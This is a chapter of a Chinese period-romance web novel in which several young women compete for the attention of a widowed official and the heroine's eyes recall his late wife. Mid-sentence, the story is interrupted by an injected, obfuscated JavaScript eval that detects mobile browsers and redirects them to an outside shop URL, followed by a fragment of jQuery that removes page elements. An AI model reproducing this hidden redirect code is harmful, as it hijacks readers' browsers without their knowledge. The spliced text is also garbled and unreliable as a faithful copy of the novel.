3. 再相见
作品:《前夫对我太执着》 “琇姐姐,少宜表妹不愿意去就算了!你是不知道,表妹从小在偏僻地方长大,恐怕并不是很善音律呢!”裴语鸳不忘初心,立刻踩上少宜一脚。
没想到刘琇听完,更是说什么都要带着少宜一起。“语鸳,少宜年纪小,我们更应该多照顾她啊。”说完便一把挽住少宜,状似亲热地和她往亭台走去。
裴语鸳翻了个白眼,但也没再反对,少宜便踉跄着被刘琇“挟持”到了亭外。
亭上装了白色的纱帘,几人看不清里面的情况,只隐隐约约瞧到两道身影。
“哥哥,你弹得真好!不过你敢不敢同琇姐姐比试比试呢?”裴语鸳语气欢快地朝里面喊。
一阵微风把纱帘吹得飘动,陈嘉宴的侧脸在亭中时隐时现。
刘琇的脸上泛起红晕。
裴桓亦从缝隙中瞥到了少宜的倩影,他欣喜地站起身走出亭台。
“裴公子的琴声如山中清泉般清冽,阿琇定是比不上的。”刘琇对裴语鸳说。
“刘小姐太过谦逊了,京城谁人不知,京卫指挥使司指挥佥事的嫡女琴为一绝!今日凑了巧,不知裴某可有幸一闻?”裴桓嘴上对刘琇说着话,却目光炯炯地看向少宜。
刘琇不知想到什么,又害羞起来,抿了抿唇道:“那阿琇便献丑了!”
裴桓替几人撩开纱帘,走进亭台,刘琇却一愣。
只见陈嘉宴身旁还坐了位穿松花黄色长衫的少女,少女一双杏眼好奇地在几人之间打转,十分俏丽可人。
刚才还满面娇羞的刘琇,此时笑容瞬间僵在脸上。这女子怎么如此不避嫌!亭子里都是外男,她竟然还恬不知耻地坐进来,还坐在陈嘉宴旁边!
刘琇心里一阵腹诽,竟全然忘了自己刚才是如何迫不及待了。
“这位是金陵万家的小姐。”裴桓介绍道。
金陵万家便是陈嘉宴和裴大奶奶的母家。
那万小姐看到少宜后却小小的一声惊呼,紧接着去拽陈嘉宴的衣袖。“表哥,这姑娘生得竟如同仙子一般!”
像陆少宜这样好的皮相在京城虽不多,但金陵出美女,万玉宁自然也见过不少,本不该如此大惊小怪。
只是眼前这女子实在有双特别的眼睛,不看你时沉静如湖水;盯着你看的时候,你却仿佛坠入深潭,只觉得心神震荡。
万玉宁总觉得这眼神曾经在哪里见过,却一时间想不起来。
陈嘉宴端起茶盏抿了一口,闻言只是淡淡地瞥了她一眼,视线交汇时端茶的手却突然顿住。
这双眼睛……
亭内的气氛很微妙,万玉宁话落,几人齐齐保持了沉默,却各有各的心思。
裴语鸳是气得说不出话来。这万小姐出身金陵万家,和外祖母同宗,本以为能说得上几句话,没想到竟是个没见识的!
裴桓朝少宜宠溺一笑,少宜只偏过头装作没看见。
刘琇的脸色已经黑如锅底了。她叫陆少宜来是衬托自己的,可不是让她出风头的!现在这样算什么?所有人的注意力都在陆少宜身上,就连陈嘉宴也……他可是向来不把这些小姑娘放在眼里的!
陈嘉宴已经收回了目光,恢复了往日喜怒不形于色的平静。他微微呷了一口茶,神色平常,让人看不出他在想什么。
万玉宁性格大胆又直接,此时已经欢快地朝少宜走去。“你叫什么名字?是谁家的姑娘?”
“我叫陆少宜,父亲在湖广永顺府任知府,裴家二爷是我姨夫。”
少宜声音软糯,个头娇小,模样又精致,很对万玉宁的脾气,她笑嘻嘻地牵起了少宜的手,道:“我叫万玉宁,你叫我阿宁就好!”
“阿宁。”少宜也很喜欢眼前这个爽朗大方的女孩,两个人便亲亲热热地说起话来。
“亭里好闷,我们出去走走吧?”万玉宁提议道。
她其实早就不想在这里待了。表哥这人太无趣,裴桓招蜂引蝶的样子她也不喜欢,另两个女孩就更别提了,一个吵吵嚷嚷的很烦、一个自以为多有才情,却从一进亭就在故作姿态,当别人都是傻子吗?
“好啊。”少宜乖巧地点头,她也不想待在这里。
裴桓看她的眼神明晃晃的,有时不经意间和他对视上了,自己都心惊肉跳的,也不知道他到底想干什么!
而且陈嘉宴让她心里很乱。只要这人出现在自己视线范围内,自己就不受控制般地关注他的一举一动。看他覆在茶杯上的手指,纤长却有力;看他微微扯动的嘴角;看他吞咽时的喉结……
偏偏这人除了刚进亭那一眼,之后连个眼风都没给过她。少宜有点懊恼又有点羞愧,自己怎么能这样肆无忌惮地关注一个素不相识的外男呢,岂不是太不知分寸了?
可她就是心里好奇极了,那种强烈的熟悉感和莫名的悸动到底来源于什么,总不能真是自己移情于色吧。
她越想心绪就越乱,幸好万玉宁要出去散步,自己正好有了借口可以避一避。
裴桓见少宜走了,也不想再弹什么琴,随便找了个理由出了亭子。他弹琴本就是为了吸引少宜过来的,少宜都走了,他还弹什么。
刘琇衣袖下的手指被攥的发白。万玉宁和陆少宜走了正好!可刚才裴桓还对她称赞不已,说好要切磋琴艺,现在竟然也说走就走了。
刘琇平日里不说是众星捧月,在人群中也绝对算一枝独秀,哪里受到过这样的冷遇!
眼下裴桓走了,自己更没有理由待在陈嘉宴身边了,岂不是辜负了母亲的嘱托……刘琇心里暗暗着急。
亭里三人一时无话,裴语鸳干巴巴地叫了声舅舅。天晓得她有多怕宴舅舅!虽然宴舅舅面上总是温和地笑,但那笑意未达眼底,皮笑肉不笑的样子,更可怕!而且她总觉得自从她们刚才过来以后,宴舅舅就变得心情很差。
陈嘉宴不知在想些什么,裴语鸳叫他他好似没听见一样,好半天才回过神,淡淡地嗯了一声,然后什么也没说,自顾自地走了。
刘琇望着陈嘉宴大步离去的背影,想着今日自己来此的目的,咬了咬牙,大声叫道:“陈公子,陈公子!请你等一等!”
刘琇的叫喊引来了不少人的关注,一时间那些小姐姑娘们纷纷看着陈嘉宴窃窃私语起来。
“他就是陈嘉宴?”
“没想到陈公子竟生的如此俊朗……”
陈嘉宴心里不耐烦起来。今日来的这些小姐姑娘们年岁都已十八九却仍待字闺中,陈嘉宴自然知道她们是来干什么的。
母亲和姐姐也真是,自己都说不会再娶了,还要劳烦老夫人!
他烦躁地按了按眉头,觉得自己更累了。
见陈嘉宴停下脚步,刘琇也顾不上别人的目光,大着胆子走了过去。
别家的姑娘十五六岁便许了人家,她今年都十九了!怎么会不着急?其实前几年也不是没有来提亲的,只是那些人不是资质平庸的游手好闲之辈,就是没有家底的寒门学子。刘琇自幼便是闻名京城的才女,这些人如何配得了她?
陈嘉宴年纪虽长了她一些,又娶过妻,但才华出众,少年进士,年纪轻轻便已位至大理寺少卿,前途无量。
而且年纪大些也没什么不好。眼前的男子肩膀宽厚,手臂结实有力,与裴桓那些少年郎清瘦的身板截然不同,陈嘉宴整个人都散发出成熟男子的沉稳和可靠。刘琇又红了脸。
陈嘉宴看着眼前女子扭扭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487020|202070||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
捏捏的样子,明明叫了他却又不说话,心里更加烦躁。
“你有什么事?”
刘琇眼带缱绻:“……公子不听了阿琇的琴再走吗?”
“不用了,我还有事就先走一步了。”陈嘉宴面上带着疏离,客气地一点头,就头也不回地走了。
刘琇脸色发白,裴语鸳诧异地问她:“琇姐姐,你不会是喜欢上我舅舅了吧?难道你想给我当舅母!”
刘琇在心中狠狠白了裴语鸳一眼。这裴家小姐真是个蠢的,她难道不知道今天这群人都是来干什么的?
“不止是我,你看这些姑娘们,她们都想做你舅母呢。”刘琇示意她往周围看。
裴语鸳这才发觉那些小姐们的眼神,全都直勾勾地看向陈嘉宴远去的背影。
“语鸳,你想让我做你的舅母吗?”刘琇把她拉到一块僻静处,轻声问她。
“可是我舅舅说,他不会再续弦了。”裴语鸳迟疑道。
“你不懂。”刘琇捂嘴轻笑,“没有男人不娶妻的。”
“可他是宴舅舅……宴舅舅不一样!”
“宴舅舅怎么了,你宴舅舅就不是男人了?”
刘琇双手搭上裴语鸳的肩膀,“语鸳,你宴舅舅这几年一直都没人照顾,多辛苦啊,你忍心看他这么辛苦吗?”
“你宴舅舅总要娶妻的,与其是别人,不如是我呢,以后我还会像姐姐一样对你好!”刘琇循循善诱道。
裴语鸳内心有点动摇。母亲心里总是操心舅舅,偏偏舅舅又总有自己的打算……如果舅舅娶了琇姐姐,那对于母亲来说,陈府里是不是也有了可以传话的人呢?
刘琇握住裴语鸳的手,诚恳道:“语鸳,你一定要帮我!”
--
另一边,万玉宁也对少宜说:“你看今天侯府来了这么多人,知道是为什么吗?”
少宜想了想,今天来的姑娘们似乎年岁都大些,她又想起昨日老夫人说的那番话……
“是老夫人为了给陈大爷相看吧?”
万玉宁咯咯笑,“你们老夫人可真能折腾,殊不知表哥一个都看不上!”
少宜连忙左右看了看,又瞥了眼后面跟着的几个丫鬟,几个丫鬟眼观鼻鼻观心,装作什么也听不见的样子。
“你不要乱说,小心让人听见!”少宜担心地说。
“没事的,你怕老夫人,我可不怕!要是哪个不知分寸的听了去,敢在你们老夫人面前嚼舌根,到时候你就全推给我好了!是我说的,跟你没关系!”万玉宁说完又哈哈笑起来。
少宜看了在心中默默地想,她在家中定是千娇万宠长大的,才能这般胆大又开朗。
“这么多姑娘,陈大爷一个都不喜欢吗?”少宜问她。
“不喜欢啊!都是些庸脂俗粉,别说表哥了,就连我都看不上。”万玉宁摇晃着一根手指,表情嫌弃。“尤其是那个刘琇,啧啧。”
“宴表哥喜欢的可不是这种装模作样的人,而是表嫂那样的!”
又一次听见旁人提起陈大奶奶,少宜不禁好奇地问:“陈大奶奶是什么样的人?她长得很漂亮吗?”
“表嫂啊……”万玉宁慢慢转动眼珠,陷入回忆中。“其实我只见过表嫂一次,她长什么样我也有些记不得了。”
“我只记得表嫂是个很温柔的人,对我们大家都很好……表嫂很爱笑,但是她冲我们笑和冲表哥笑是不一样的。冲表哥笑的时候,眼睛亮晶晶的,好像把漫天星辰都装进去了……”
万玉宁又看向少宜,少宜的眼睛也亮亮的,好像幽深的潭水里倒映着天上的星星一样。
“少宜,你的眼睛好像和我表嫂的眼睛很像呢……”

